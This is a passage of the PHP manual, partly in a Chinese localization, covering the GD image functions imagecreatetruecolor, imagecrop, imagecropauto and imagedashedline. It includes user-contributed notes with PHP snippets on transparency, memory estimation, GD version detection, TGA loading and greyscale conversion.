There is no need to allocate colors with imagecreatetruecolor. All [256 x 256 x 256 x 128] true colors are already allocated, and you can use the color indexes directly.

Examples :
Blue => color index 255.
White => color index 16777215 (= 255*2562 + 255*256+255).
Full transparent => color index 2130706432 (= 127*256^3).
arthur at kuhrmeier dot com 26-Aug-2010 08:38
HOW THE CHECK THE MEMORY BEFORE CREATING AN IMAGE?

I worked on a script where I delt with large images. Very often the error "out of memory" occured. So I had to figure out, how to check the memory BEFORE creating an image. I didn't find a solution on the web, so I ran my own test script. It built lots of images to compute the needed memory. I found out, that the formula mem = x * y * channel was not enough. There was an additional multiplier that varied. As a result 1.7 worked best. So the formula is: mem = x * y * channel * 1.7.

I post this script here hoping it is useful to someone who will run into the same problems.

<?php
//-------------------------------------------------- DEFINE MAXMEM
define ("MAXMEM", 32*1024*1024);  //--- memory limit (32M) ---

//-------------------------------------------------- ENOUGH MEMORY ?
function enoughmem ($x, $y, $rgb=3) {
    return ( $x * $y * $rgb * 1.7 < MAXMEM - memory_get_usage() );
}

//-------------------------------------------------- SIMPLE EXAMPLE
list ($x, $y) = @getimagesize ('your_img.jpg');  //--- get size of img ---
if (enoughmem($x,$y)) {
    $img = @imagecreatefromjpeg ('your_img.jpg');  //--- open img file ---
    $thumb = 200;  //--- max. size of thumb ---
    if ($x > $y) {
        $tx = $thumb;  //--- landscape ---
        $ty = round($thumb / $x * $y);
    } else {
        $tx = round($thumb / $y * $x);  //--- portrait ---
        $ty = $thumb;
    }
    if (enoughmem($tx,$ty)) {
        $thb = imagecreatetruecolor ($tx, $ty);  //--- create thumbnail ---
        imagecopyresampled ($thb,$img, 0,0, 0,0, $tx,$ty, $x,$y);
        imagejpeg ($thb, 'your_thumbnail.jpg', 80);
        imagedestroy ($thb);
    }
    imagedestroy ($img);
}

//--------------------------------------------------
//--- to check the memory working with           ---
//--- b/w-image or gif use:                      ---
//--------------------------------------------------
$check = enoughmem ($x, $y, 1);
?>

Taking the opportunity, I thank everyone here at php.net for the great manual and the useful user scripts.
hemjesti at yahoo dot com 28-May-2009 02:07
I put this together - combining two of the examples and then generated the text dynamically. but, with this set up, i was able to get the transparent background working as well.

<?php
// Set the content-type

header('Content-type: image/png');

// Create the image
$im = imagecreatetruecolor(175, 15);
imagesavealpha($im, true);

// Create some colors
$white = imagecolorallocate($im, 255, 255, 255);
$grey = imagecolorallocate($im, 128, 128, 128);
$black = imagecolorallocate($im, 0, 0, 0);
imagefilledrectangle($im, 0, 0, 150, 25, $black);
$trans_colour = imagecolorallocatealpha($im, 0, 0, 0, 127);
imagefill($im, 0, 0, $trans_colour);

// The text to draw
$text = $_GET['text'];
// Replace path by your own font path
$font = 'catriel regular.ttf';

// Add some shadow to the text
imagettftext($im, 9, 0, 13, 16, $black, $font, $text);

// Add the text
imagettftext($im, 9, 0, 12, 15, $white, $font, $text);

// Using imagepng() results in clearer text compared with imagejpeg()
imagepng($im);
imagedestroy($im);
?>
weareexit at yahoo dot co dot uk 10-Mar-2008 03:51
If you want to place an image on a larger canvas you've previously created with imagecreatetruecolor(), but you don't want the default black background to surround it: use imagefill() AFTER imagecopyresampled().

I have no idea why this should be the case, but it works!
Richard Davey rich at corephp dot co dot uk 22-May-2007 04:50
If you want to create a *transparent* PNG image, where the background is fully transparent, and all draw operations happen on-top of this, then do the following:

<?php
    $png = imagecreatetruecolor(800, 600);
    imagesavealpha($png, true);

    $trans_colour = imagecolorallocatealpha($png, 0, 0, 0, 127);
    imagefill($png, 0, 0, $trans_colour);

    $red = imagecolorallocate($png, 255, 0, 0);
    imagefilledellipse($png, 400, 300, 400, 300, $red);

    header("Content-type: image/png");
    imagepng($png);
?>

What you do is create a true colour image, make sure that the alpha save-state is on, then fill the image with a colour that has had its alpha level set to fully transparent (127).

The resulting PNG from the code above will have a red circle on a fully transparent background (drag the image into Photoshop to see for yourself)
phpnet at sjeiti dot com 06-Feb-2007 02:32
Just a small rectification for the msg by '
thomas dot urban at toxa dot de' (23-May-2006 03:28) about transparency.
Line 3 in the example returns a 'wrong parameter warning': 'imagecolorallocate' should be replaced by 'imagecolorallocatealpha'.
(You better just alter that note and delete this one.)
behun at webconsult dot sk 27-Aug-2006 01:54
imagecreatetruecolor() returns not only image identifier representing a black image of size x_size by y_size.

imagecreatetruecolor() is called to create truecolor images, with an essentially unlimited number of colors (also not only 256 colors).
Florin [ florin.at.flachi.dot.net ] 21-Jul-2006 02:52
A very simple and efficient way to create RGB color from hexadecimal (HTML) notation:

<?php

    function color_hex2dec ($color) {
        return array (hexdec (substr ($color, 0, 2)), hexdec (substr ($color, 2, 2)), hexdec (substr ($color, 4, 2)));
    }

    list ($r, $g, $b) = color_hex2dec ('FFEECC');

?>
j.fenin _At_ seekport [d0t] biz 11-Jul-2006 09:09
I had a strange bug occurring under Debian Linux with PHP5.

In file B (where I create the image) I included a file (file A). The image that was produced was always corrupt. When I did not include file A, everything was fine.

After 2 hours of searching I found that there were some extra spaces and linefeeds after the PHP closing tag ?> in file A. After removing those chars, everything works fine again.

Obviously those extra bytes of file A were added to the image and corrupted it.
d dot duquenoy at kdland dot org 01-Jun-2006 01:26
My function to know how much bytes imagecreate or imagecreatetruecolor require before using it.
<?php
function getNeededMemoryForImageCreate($width, $height, $truecolor) {
  return $width*$height*(2.2+($truecolor*3));
}
?>
thomas dot urban at toxa dot de 22-May-2006 06:28
This is another approach to get an initially transparent truecolor canvas and in comparison to the one below it does not declare black to be transparent (which might be okay on indexed-color images and unless you want to draw in black) ...

$im = imagecreatetruecolor( $w, $h );
imagealphablending( $im, false );
$col = imagecolorallocate( $im, 0, 0, 0, 127 );
imagefilledrectangle( $im, 0, 0, $w, $h, $col );
imagealphablending( $im, true );

Without disabling blending mode this would paint transparent rectangle over current background thus not changing anything. Nevertheless blending mode is required e.g. to get proper results from using imagettftext ... that's why it is enabled after filling, again.

Don't miss to disable blending mode and enable savealpha prior to generating a PNG ...

imagealphablending( $im, false );
imagesavealpha( $im, true );
imagepng( $im );
send at mail dot 2aj dot net 24-Jun-2005 07:40
If you want a simple way to mirror images, use the function I've included below.

<?php
function image_mirror ($input_image_resource)
{
    $width = imagesx ( $input_image_resource );
    $height = imagesy ( $input_image_resource );
    $output_image_resource = imagecreatetruecolor ( $width, $height );
    $y = 1;

    while ( $y < $height )
    {
        for ( $i = 1; $i <= $width; $i++ )
            imagesetpixel ( $output_image_resource, $i, $y, imagecolorat ( $input_image_resource, ( $i ), ( $height - $y ) ) );
        $y = $y + 1;
    }

    return $output_image_resource;
}
?>
Example Usage:
<?php

// A good use of this is when a user uploads a TGA file,
// on the completion screen show the image and have a link
// that asks if the image appears mirrored, and if so
// that link will execute these commands below.

// I suggest checking $HTTP_REFERER for security.

// $_GET['file'] in this case would be something along the lines
// of johndoe-img0001 (Basename is necessary to prevent
// abuse of this script!)

if ( isset( $_GET['file'] ) )
{
    $filename = "./" . basename ( $_GET['file'] ) . ".jpg";
// Making the image resource that needs to be mirrored
// Taking it from a previously exported to JPEG file.
    $output_resource_image = image_mirror ( imagecreatefromjpeg ( $filename ) );
    if ( imagejpeg ( $output_resource_image, $filename, 75 ) )
        echo "Image resaved successfully";
    else
        echo "Image couldn't be written over (Check permissions)!";
}
?>
21-Jun-2005 03:17
// Creates a transparent image rather than the default black image
function imageCreateTransparent($x, $y) {
    $imageOut = imagecreate($x, $y);
    $colourBlack = imagecolorallocate($imageOut, 0, 0, 0);
    imagecolortransparent($imageOut, $colourBlack);
    return $imageOut;
}
send at mail dot 2aj dot net 20-Jun-2005 06:20
Thanks to OverFlow636 at gmail dot com and kuya1284 at techie dot com for their original coding which this function is based upon.

PHP lacks an imagecreatefromtga function, so I have prepared a simple function to include in your library if you deal with TGA images. In addition to creating an image from TGA, it also, optionally, will output an array with the dimensions of the image because getimagesize() does not function with TGA files.

Hopefully this function will eventually be unneeded if GD is ever updated to support the TGA format.

Please keep in mind that TGA's come in many different compressions, color settings, and as a result this function will not work 100% of the time. Resulting images will fit the symptoms kuya1284 at techie dot com mentioned, and as a result you may need to create a second function. Keep in mind that using her code causes the "mirror" effect on images that load properly with the following function.

<?php
function imagecreatefromtga ( $filename, $return_array = 0 )
{
    $handle = fopen ( $filename, 'rb' );
    $data = fread ( $handle, filesize( $filename ) );
    fclose ( $handle );

    $pointer = 18;
    $x = 0;
    $y = 0;
    $w = base_convert ( bin2hex ( strrev ( substr ( $data, 12, 2 ) ) ), 16, 10 );
    $h = base_convert ( bin2hex ( strrev ( substr ( $data, 14, 2 ) ) ), 16, 10 );
    $img = imagecreatetruecolor( $w, $h );

    while ( $pointer < strlen ( $data ) )
    {
        imagesetpixel ( $img, $x, $y, base_convert ( bin2hex ( strrev ( substr ( $data, $pointer, 3 ) ) ), 16, 10 ) );
        $x++;

        if ($x == $w)
        {
            $y++;
            $x=0;
        }

        $pointer += 3;
    }

    if ( $return_array )
        return array ( $img, $w, $h );
    else
        return $img;
}
?>

Example Usage

<?php
// Get the image & its dimensions
$array = imagecreatefromtga("source_image.tga",1);

// the image ( resource image )
$image = $array[0];

// its dimensions ( integers )
$dimensions['width'] = $array[1];
$dimensions['height'] = $array[2];

// Delete the image resource array entry to free memory
imagedestroy($array[0]);
?>

The second variable, $return_array is optional. If you simply want to load a TGA, leave the variable off the function's call as such:
<?
// Return the resource image alone
$resource_image = imagecreatefromtga ( "source_image.tga" );

// Declare the content-type as a JPEG image.
header ( 'Content-type: image/jpeg' );

// Convert the image to JPEG for smaller file size and compatability
imagejpeg ( $resource_image, NULL, 100 );
imagedestroy ( $resource_image );
?>
kuya1284 at techie dot com 26-Feb-2005 11:48
OverFlow636,

It appears that your code was causing TGA's to be inverted horizontally and upside down.  I modified your code accordingly. The sample below is an example of what I did to convert a tga to jpg. The for loop was taken from the comment below (Eric Mulders) to properly render the image.

Nice job with the code buddy.

function tga2jpg ($image)
{
    $handle = fopen($image, "rb");
    $data = fread($handle, filesize($image));
    fclose($handle);

    $pointer = 18;
    $w = fileint (substr ($data, 12, 2));
    $h = fileint (substr ($data, 14, 2));
    $x = 0;
    $y = $h;

    $img = imagecreatetruecolor($w, $h);

    while ($pointer < strlen($data))
    {
        imagesetpixel ($img, $x, $y, fileint (substr ($data, $pointer, 3)));

        $x++;

        if ($x == $w)
        {
            $y--;
            $x = 0;
        }

        $pointer += 3;
    }

    for($a = 0; $a < imagecolorstotal ($img); $a++)
    {
        $color = imagecolorsforindex ($img, $a);

        $R=.299 * ($color['red'])+ .587 * ($color['green'])+ .114 * ($color['blue']);
        $G=.299 * ($color['red'])+ .587 * ($color['green'])+ .114 * ($color['blue']);
        $B=.299 * ($color['red'])+ .587 * ($color['green'])+ .114 * ($color['blue']);

        imagecolorset ($img, $a, $R, $G, $B);
    }

    imagejpeg ($img, 'test.jpg', 100);
    imagedestroy ($img);
}

function fileint($str)
{
    return base_convert (bin2hex (strrev ($str)), 16, 10);
}

tga2jpg ('test.tga');
OverFlow636 at gmail dot com 14-Dec-2004 12:14
i dont know if there was an easyer way to do this, but heres my code to convert a .tga image to whatever you want to output it as
it works with basic tga files only

<?
$handle = fopen("xxx.tga","rb");
$data = fread($handle,filesize("xxx.tga"));
fclose($handle);
$pointer = 18;
$x = 0;
$y = 0;
$w = fileint(substr($data,12,2));
$h = fileint(substr($data,14,2));
$img = imagecreatetruecolor($w,$h);

while ($pointer < strlen($data))
{
imagesetpixel($img, $x,$y,fileint(substr($data,$pointer,3)));
$x++;

if ($x==$w)
{
$y++;
$x=0;
}

$pointer += 3;
}

header("Content-type: image/jpeg");
imagepng($img);
imagedestroy($img);

function fileint($str)
{
  return base_convert(bin2hex(strrev($str)),16,10);
}
?>
termian 05-Dec-2004 04:59
kai wrote:
//using imagecolorallocate to specify the image's background
//color does not work with truecolor-image.
//
//instead you have to use imagefill to force flood-filling the
//image with the backgorund-color previously allocated:
//
//$bgColor = imagecolorallocate($img, 255,255,255);
//imagefill($img , 0,0 , $bgColor);

even this doesn't work for my configuration - fedora core2, php 4.3.8 + gd bundled (2.0.23 compatible) and I have to do this:
$img = imagecreatetruecolor($x, $y);
$bgColor = imagecolorallocate($img, 255,255,255);
imagefilledrectangle($img, 0, 0, $x-1, $y-1, $bgColor);
kai at meder dot info 07-Oct-2004 09:20
using imagecolorallocate to specify the image's background color does not work with truecolor-image.

instead you have to use imagefill to force flood-filling the image with the backgorund-color previously allocated:

$bgColor = imagecolorallocate($img, 255,255,255);
imagefill($img , 0,0 , $bgColor);

kai
unigram at byair dot net 25-May-2004 02:46
If your hosting system does not have imagecreatetruecolor() because of PHP<4.2 and GD<2.0 then a get around is

<?
$thumb = imagecreate ($width, $height);
imageJPEG($thumb,"images/temp.jpg");
$thumb = @imagecreatefromjpeg("images/temp.jpg");
?>

which creates a thumbnail of right size, saves as a jpeg and then reads it, in true color.

This corrected the degradation caused by using palette images as destination for imagecopyresized ()
Justin Greer 08-Jan-2004 08:38
I know it's not a discussion board, but when incorrect info is posted, it should be corrected.

The function_exists() check does not work correctly because if PHP is compiled with an older GD library, the imagecreatetruecolor() function still exists -- it just gives a fatal error when called, stating that GD2 is required.  Therefore, the function_exists() method will fail on any new-ish copy of PHP that only has GD 1.x.  (That includes most of the 4.1.x and 4.2.x installs I've seen.)
fixxxer at php5 dot ru 26-Dec-2003 05:47
A note to post by Justin Greer @ 18-Nov-2003 10:40:

While this information has already been posted by php at REMOVEreallynicejerk dot com @ 16-Sep-2002 12:01, I feel it neccesary to notice 'cause Justin's post is in the top and it can make people go the wrong way: Justin's way of detecting which imagecreate function to use is too complicated, while there's an easy standard way:

<?php
if (function_exists('imagecreatetruecolor') {
 // use imagecreatetruecolor
} else {
 // use imagecreate
}
Justin Greer 18-Nov-2003 02:40
Unfortunately the @imagecreatetruecolor() method doesn't even work because php dies with a fatal error noting that GD 2 is required.  You can't even capture this error with a custom error handler.

I have come up with a function to get the GD version number that seems to work pretty well on every version of PHP and GD I've thrown at it (even CLI versions.)  It's obviously not the most efficient thing in the world, but it does cache the result in a static variable so calling it multiple times doesn't slow down further.

function gd_version() {
    static $gd_version_number = null;
    if ($gd_version_number === null) {
        // Use output buffering to get results from phpinfo()
        // without disturbing the page we're in.  Output
        // buffering is "stackable" so we don't even have to
        // worry about previous or encompassing buffering.
        ob_start();
        phpinfo(8);
        $module_info = ob_get_contents();
        ob_end_clean();
        if (preg_match("/\bgd\s+version\b[^\d\n\r]+?([\d\.]+)/i",
                $module_info,$matches)) {
            $gd_version_number = $matches[1];
        } else {
            $gd_version_number = 0;
        }
    }
    return $gd_version_number;
}

Then you can simply use it something like this:

if (gd_version() >= 2) {
    $image = ImageCreateTrueColor($width, $height);
} else {
    $image = ImageCreate($width, $height);
}
Hallvord RM Steen <phpnet at hallvord dot com> 27-Oct-2003 05:40
Regarding choosing the TrueColor or the plain version of imagecreate automatically, I've found that the following works for me:

<?php

$newImg=@ImageCreateTrueColor($width, $height)
    or $newImg=ImageCreate($width, $height);

?>
Jami 10-Jul-2003 03:11
It's good to use the imagecopyresampled- function when creating thumbnails with true colors, it might look better than imagecopyresized..
bjorntje at hotmail dot com 07-Jun-2003 10:41
I just fiddled around with Phpix, which had some problems using the GD lib
(washed out colours).
I changed the lines, which did the trick.
Just in case some of you are still having problems and
you can't change the PHP-install
on the hosting side:

$im = ImageCreateFromJPEG($source);
$new_im = ImageCreate($new_width,$new_height);

ImageCopyResized($new_im,$im,0,0,0,0,
$new_width,$new_height,ImageSX($im),ImageSY($im));

TO

$im = ImageCreateFromJPEG($source);
$new_im = ImageCreateTrueColor($new_width,$new_height);

ImageCopyResized($new_im,$im,0,0,0,0,$new_width,
$new_height,ImageSX($im),ImageSY($im));
Micke (micke dot prag at newstonight dot net) 08-Mar-2003 04:21
Here is my solution for creating images with the same code for both GD < 2 and GD > 2:

$dst_img = @imageCreateTrueColor($width, $height);
if (!$dst_img) { $dst_img = imageCreate($width, $height); }
Andreas from www.ems-p.de 28-Feb-2003 06:15
The request of gdlib from brad at brwebdesign dot com won't work with PHP < 4.1 (version_compare).

Some phpinfo versions offer the version number without space so you better ask for the dot:

ob_start();
phpinfo(8);
$phpinfo=ob_get_contents();
ob_end_clean();
$phpinfo=strip_tags($phpinfo);
$phpinfo=stristr($phpinfo,"gd version");
$phpinfo=stristr($phpinfo,"version");
$end=strpos($phpinfo,".");
$phpinfo=substr($phpinfo,0,$end);
$length = strlen($phpinfo)-1;
$phpinfo=substr($phpinfo,$length);
if($phpinfo<2){
    $dst_img=ImageCreate($new_w,$new_h);}
else {
    $dst_img=ImageCreateTrueColor($new_w,$new_h);
}
marc at thewebguys dot com dot au 24-Jan-2003 04:40
I discovered when installing GD 2+ that ImageCreate() doesn't work well with JPEGS, it makes a true colour JPEG into a 16 colour mess when combining ImageCreateFromJPEG(). If you have GD 2+ you must use ImageCreateTrueColor() for things like thumbnails, etc.
billet_jerome at yahoo dot fr 14-Jan-2003 05:26
Because imagecreatetruecolor exist both in gd and gd2,
you can't use function_exists or get_extension_funcs to check for gd2 !
But ... there is a difference in imagettfbbox between gd and gd2:
gd use pixels and gd2 use points.

Then you can check gd2 with this function:

function sysB_chkgd2()
{

$rep=false;
if(isset($GLOBALS["gBGDVersion"]))
    {
    $rep=$GLOBALS["gBGDVersion"];
    }
else
    {
    if(function_exists("gd_info"))
       {
       $gdver=gd_info();
       if(strstr($gdver["GD Version"],"1.")!=false)
          {
          $rep=false;
          }
       else
           {
           $rep=true;
           }
       }
    else
        {
        $size=40;
        $font= your font file path here;
        $b=imagettfbbox ($size,0,$font,"abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ");

        if(($size+1)<abs($b[5]-$b[3]))
           {
           $rep=true;
           }

         }
    $GLOBALS["gBGDVersion"]=$rep;
    }

return $rep;
}
aaron at aaron-wright dot com 25-Sep-2002 02:49
Actually GD <2.0 had imagecreattruecolor, it just didn't work :P

This is a better test:

function chkgd2(){
  $testGD = get_extension_funcs("gd"); // Grab function list
  if (!$testGD){ echo "GD not even installed."; exit; }
  if (in_array ("imagegd2",$testGD)) $gd_version = "<2"; // Check
  if ($gd_version == "<2") return false; else return true;
}

if (chkgd2()) echo "<h1>GD2+ is installed.</h1>"; // Test for GD2
else echo "<h1>GD2+ is not installed.</h1>";
php at REMOVEreallynicejerk dot com 15-Sep-2002 04:01
Why not just use function_exists?

http://www.php.net/function_exists

Just because they have version 2.0 GD doesn't mean that they haven't disabled that function.

Also instead of determining which one you have on your machine and then writing setup specific code, you can write a universal code usable on either setups.

::pseudo code::

if (function_exists(imagecreatetruecolor)){
use imagecreatetruecolor()
}else{
use imagecreate()
}
brad at brwebdesign dot com 25-May-2002 02:26
I came up with this today.  You need GD2.0 or greater to use imagecreatetruecolor so you can parse phpinfo to get the needed information.  this will have to go at the very top of the page with no whitespace above it

<?php
ob_start();
phpinfo(8);
$phpinfo=ob_get_contents();
ob_end_clean();
$phpinfo=strip_tags($phpinfo);
$phpinfo=stristr($phpinfo,"gd version");
$phpinfo=stristr($phpinfo,"version");
$end=strpos($phpinfo," ");
$phpinfo=substr($phpinfo,0,$end);
$phpinfo=substr($phpinfo,7);
if(version_compare("2.0", "$phpinfo")==1)
echo "you have a version less then 2";
?>

The if statement is for PHP 4.1 or greater, but you can use other methods of comparing the version numbers if the server you are on do not have that version of php
pmas7354 at artax dot karlin dot mff dot cuni dot cz 26-Feb-2002 05:40
Here is answer for first question 'why do I need true color images'.

True color images you need when you want to work with images such as photos (snapshots), video frames and so on.

When you need to combine some these images for user, or to send him only small part of your image, and you try to use 256 colors, image will be ugly (try it if you want). Some colors will change dramatically.

"Antialias" lines which you may see are probably the result of using JPEG compression. JPEG is not looseless compression so "small image details may be changed" in order to reduce image size dramatically. On really true-color images such as your snapshots of landscape and so on and using small compression level you will hardly see differences. But on exact objects, such as lines, circles, which you draw on solid background using single color, you can see that if you save and load this image that some details are changed.
rossa at studioware dot net 23-Jan-2002 07:38
function ConvertGreyscale($image){
# this file outputs a grey version of specified image

  $total = ImageColorsTotal($image);
  for( $i=0; $i<$total; $i++){
     $old = ImageColorsForIndex($image, $i);

     #trying to keep proper saturation when converting
     $commongrey = (int)(($old[red] + $old[green] + $old[blue]) / 3);

     ImageColorSet($image, $i, $commongrey, $commongrey, $commongrey);
  }
}
eric at spiderws dot com 12-Aug-2001 10:45
This little function does it for you:

<?
$image_id = imageCreateFromJPEG($image);
for($a=0;$a<imagecolorstotal ($image_id);$a++)
        {
            $color = ImageColorsForIndex($image_id,$i);
            $R=.299 * ($color['red'])+ .587 * ($color['green'])+ .114 * ($color['blue']);
            $G=.299 * ($color['red'])+ .587 * ($color['green'])+ .114 * ($color['blue']);
            $B=.299 * ($color['red'])+ .587 * ($color['green'])+ .114 * ($color['blue']);
            ImageColorSet($image_id, $a, $R, $G, $B);
        }
imageJPEG($image_id,"$image");
?>

The .299 , .578 , .114 values are estimations, and add a gamma correction to the colors. For more or less luminace in the result, you can change these values.

Goodluck,
Eric Mulders, Netherlands


Crop an image to the given rectangle

  • ? imagecreatetruecolor
  • imagecropauto ?
  • PHP Manual
  • GD 和图像处理 函数
  • Crop an image to the given rectangle

imagecrop

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

imagecrop — Crop an image to the given rectangle

说明

imagecrop(GdImage $image, array $rectangle): GdImage|false

Crops an image to the given rectangular area and returns the resulting image. The given image is not modified.

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

rectangle

The cropping rectangle as array with keys x, y, width and height.

返回值

Return cropped image object on success 或者在失败时返回 false.

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。
8.0.0 | On success, this function returns a GDImage instance now; previously, a resource was returned.

示例

Example #1 imagecrop() example

This example shows how to crop an image to a square area.

<?php
$im = imagecreatefrompng('example.png');
$size = min(imagesx($im), imagesy($im));
$im2 = imagecrop($im, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);
if ($im2 !== FALSE) {
imagepng($im2, 'example-cropped.png');
imagedestroy($im2);
}
imagedestroy($im);
?>

参见

  • imagecropauto() - Crop an image automatically using one of the available modes

User Contributed Notes

There are no user contributed notes for this page.


Crop an image automatically using one of the available modes

  • ? imagecrop
  • imagedashedline ?
  • PHP Manual
  • GD 和图像处理 函数
  • Crop an image automatically using one of the available modes

imagecropauto

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

imagecropauto — Crop an image automatically using one of the available modes

说明

imagecropauto(
GdImage $image,
int $mode = IMG_CROP_DEFAULT,
float $threshold = 0.5,
int $color = -1
): GdImage|false

Automatically crops an image according to the given mode.

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

mode

One of the following constants:

IMG_CROP_DEFAULT
Same as IMG_CROP_TRANSPARENT. Before PHP 7.4.0, the bundled libgd fell back to IMG_CROP_SIDES, if the image had no transparent color.
IMG_CROP_TRANSPARENT
Crops out a transparent background.
IMG_CROP_BLACK
Crops out a black background.
IMG_CROP_WHITE
Crops out a white background.
IMG_CROP_SIDES
Uses the 4 corners of the image to attempt to detect the background to crop.
IMG_CROP_THRESHOLD
Crops an image using the given threshold and color.
threshold

Specifies the tolerance in percent to be used while comparing the image color and the color to crop. The method used to calculate the color difference is based on the color distance in the RGB(a) cube.

Used only in IMG_CROP_THRESHOLD mode.

Note: Before PHP 7.4.0, the bundled libgd used a somewhat different algorithm, so the same threshold yielded different results for system and bundled libgd.

color

Either an RGB color value or a palette index.

Used only in IMG_CROP_THRESHOLD mode.

返回值

Returns a cropped image object on success 或者在失败时返回 false. If the complete image was cropped, imagecrop() returns false.

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。
8.0.0 | On success, this function returns a GDImage instance now; previously, a resource was returned.
7.4.0 | The behavior of imagecropauto() in the bundled libgd has been synced with that of system libgd: IMG_CROP_DEFAULT no longer falls back to IMG_CROP_SIDES and threshold-cropping now uses the same algorithm as system libgd.
7.4.0 | The default value of mode has been changed to IMG_CROP_AUTO. Formerly, the default value has been -1 which corresponds to IMG_CROP_DEFAULT, but passing -1 is now deprecated.

示例

Example #1 Proper handling of auto-cropping

As noted in the return value section, imagecropauto() returns false if the whole image was cropped. In this example we have an image object $im which should be automatically cropped only if there is something to crop; otherwise we want to proceed with the original image.

<?php
$cropped = imagecropauto($im, IMG_CROP_DEFAULT);
if ($cropped !== false) { // in case a new image object was returned
imagedestroy($im); // we destroy the original image
$im = $cropped; // and assign the cropped image to $im
}
?>

参见

  • imagecrop() - Crop an image to the given rectangle

User Contributed Notes

pj dot mueller at protonmail dot ch 06-Apr-2022 06:21
I don't know why you can't set the threshold for the four sides filter (IMG_CROP_SIDES) so here's how to do it manually using the IMG_CROP_THRESHOLD filter instead.

$threshold = .5;

$im = imagecreatefromjpeg('somefile.jpg');

$width = imagesx($im);
$height = imagesy($im);

$arr = [
    [0,0],
    [$width-1,0],
    [0,$height-1],
    [$width-1,$height-1],
];

$red = 0;
$green = 0;
$blue = 0;

// grab the colours from all four corners
foreach( $arr as $arr2 ) {
    $thisColor = imagecolorat($im, $arr2[0], $arr2[1]);

    $rgb = imagecolorsforindex($im, $thisColor);
    $red += round(round(($rgb['red'] / 0x33)) * 0x33);
    $green += round(round(($rgb['green'] / 0x33)) * 0x33);
    $blue += round(round(($rgb['blue'] / 0x33)) * 0x33);
}

// and average them
$red /= 4;
$green /= 4;
$blue /= 4;

$newColor = imagecolorallocate($im, $red, $green, $blue);

$cropped = imagecropauto($im, IMG_CROP_THRESHOLD, $threshold, $newColor);

imagejpg($cropped, 'somefile.cropped.jpg');

imagedestroy($im);
imagedestroy($cropped);
raphael.deiana 18-Jul-2016 11:49
In some cases the use of the IMG_CROP_WHITE or IMG_CROP_BLACK does not work. The function returns FALSE. It is best to use the IMG_CROP_THRESHOLD mode and specify the color in fourth argument as in the example below :

<?php

$original_img = imagecreatefromjpeg($image_path);

// Use this :
$cropped_img_white = imagecropauto($original_img , IMG_CROP_THRESHOLD, null, 16777215);
// Rather than :
$cropped_img_white = imagecropauto($original_img , IMG_CROP_WHITE);

// AND

// Use this :
$cropped_img_black = imagecropauto($original_img , IMG_CROP_THRESHOLD, null, 0);
// Rather than :
$cropped_img_black = imagecropauto($original_img , IMG_CROP_BLACK);

?>


绘制虚线

  • ? imagecropauto
  • imagedestroy ?
  • PHP Manual
  • GD 和图像处理 函数
  • 绘制虚线

imagedashedline

(PHP 4, PHP 5, PHP 7, PHP 8)

imagedashedline — 绘制虚线

说明

imagedashedline(
GdImage $image,
int $x1,
int $y1,
int $x2,
int $y2,
int $color
): bool

弃用此函数。使用 imagesetstyle() 和 imageline() 组合替代。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

x1

左上 x 坐标。

y1

左上 y 坐标。0，0 为图像的左上角。

x2

右下 x 坐标。

y2

右下 y 坐标。

color

填充颜色。颜色标识符使用 imagecolorallocate() 创建。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 imagedashedline() 示例

<?php
// Create a 100x100 image
$im = imagecreatetruecolor(100, 100);
$white = imagecolorallocate($im, 0xFF, 0xFF, 0xFF);

// Draw a vertical dashed line
imagedashedline($im, 50, 25, 50, 75, $white);

// Save the image
imagepng($im, './dashedline.png');
imagedestroy($im);
?>

以上示例的输出类似于：

Output of example : imagedashedline()

Example #2 替代 imagedashedline()

<?php
// Create a 100x100 image
$im = imagecreatetruecolor(100, 100);
$white = imagecolorallocate($im, 0xFF, 0xFF, 0xFF);

// Define our style: First 4 pixels is white and the
// next 4 is transparent. This creates the dashed line effect
$style = Array(
$white,
$white,
$white,
$white,
IMG_COLOR_TRANSPARENT,
IMG_COLOR_TRANSPARENT,
IMG_COLOR_TRANSPARENT,
IMG_COLOR_TRANSPARENT
);

imagesetstyle($im, $style);

// Draw the dashed line
imageline($im, 50, 25, 50, 75, IMG_COLOR_STYLED);

// Save the image
imagepng($im, './imageline.png');
imagedestroy($im);
?>

参见

  • imagesetstyle() - 设定线条的样式
  • imageline() - 绘制直线

User Contributed Notes

ihsanduvac at gmail dot com 17-Aug-2012 06:45
It doesn't work for horizontal lines. Use imagesetstyle()
tgabor72 at freemail dot hu 17-Aug-2010 11:50
You can use the imagepatternedline() function with extra features instead of imagedashedline() to give a visible dashedlines and other any kind of patterned lines on your images. The routine also manages the thickness of the line. Have fun!

<?php
// imagepatternedline() function
// Routine was developed to draw any kind of straight line with thickness. Routine uses imageline() function to draw line.
// Parameters are (similar to imageline() function):
//   $image: (resource) imagefile
//   $xstart, $ystart: (int) x,y coordinates for first point
//   $xend, $yend: (int) x,y coordinates for last point
//   $color: (int) color identifier that created with imagecolorallocate()
// extra parameters:
//   $thickness: (int) thickness of line in pixel
//   $pattern: (string) pattern of line, which repeats continuously while line is being drawed.
//   If there is '1' in the pattern that means the actual dot of line is visible,
//   '0' means dot is not visible (space between two line elements).
//   All characters regard for one pixel. Default: 1 dot wide dashed line with 4-4 dots and spaces.
// Examples for pattern:
// "1" or "" continuous line
// "10" close dotline
// "10000" dotline
// "111111110000001100000011111111" dotline for design drawing
// "111111111100000011000000110000001111111111" double dotline
// some examples for using imagepatternedline():
// imagepatternedline($image,300,300,442,442,$color,200,""); // a square with 200 length of edge and rotated 45 degrees
// imagepatternedline($image,100,200,289,200,$color,100,
//  "11001100000011001111000011001111110000001100001100"
// ."00001111001100111100000011000000110000110011001100"
// ."11000011111100111111000011001111001111000011110000"
// ."1111001111110011000011000000001100110011"); // barcode

function imagepatternedline($image, $xstart, $ystart, $xend, $yend, $color, $thickness=1, $pattern="11000011") {
   $pattern=(!strlen($pattern)) ? "1" : $pattern;
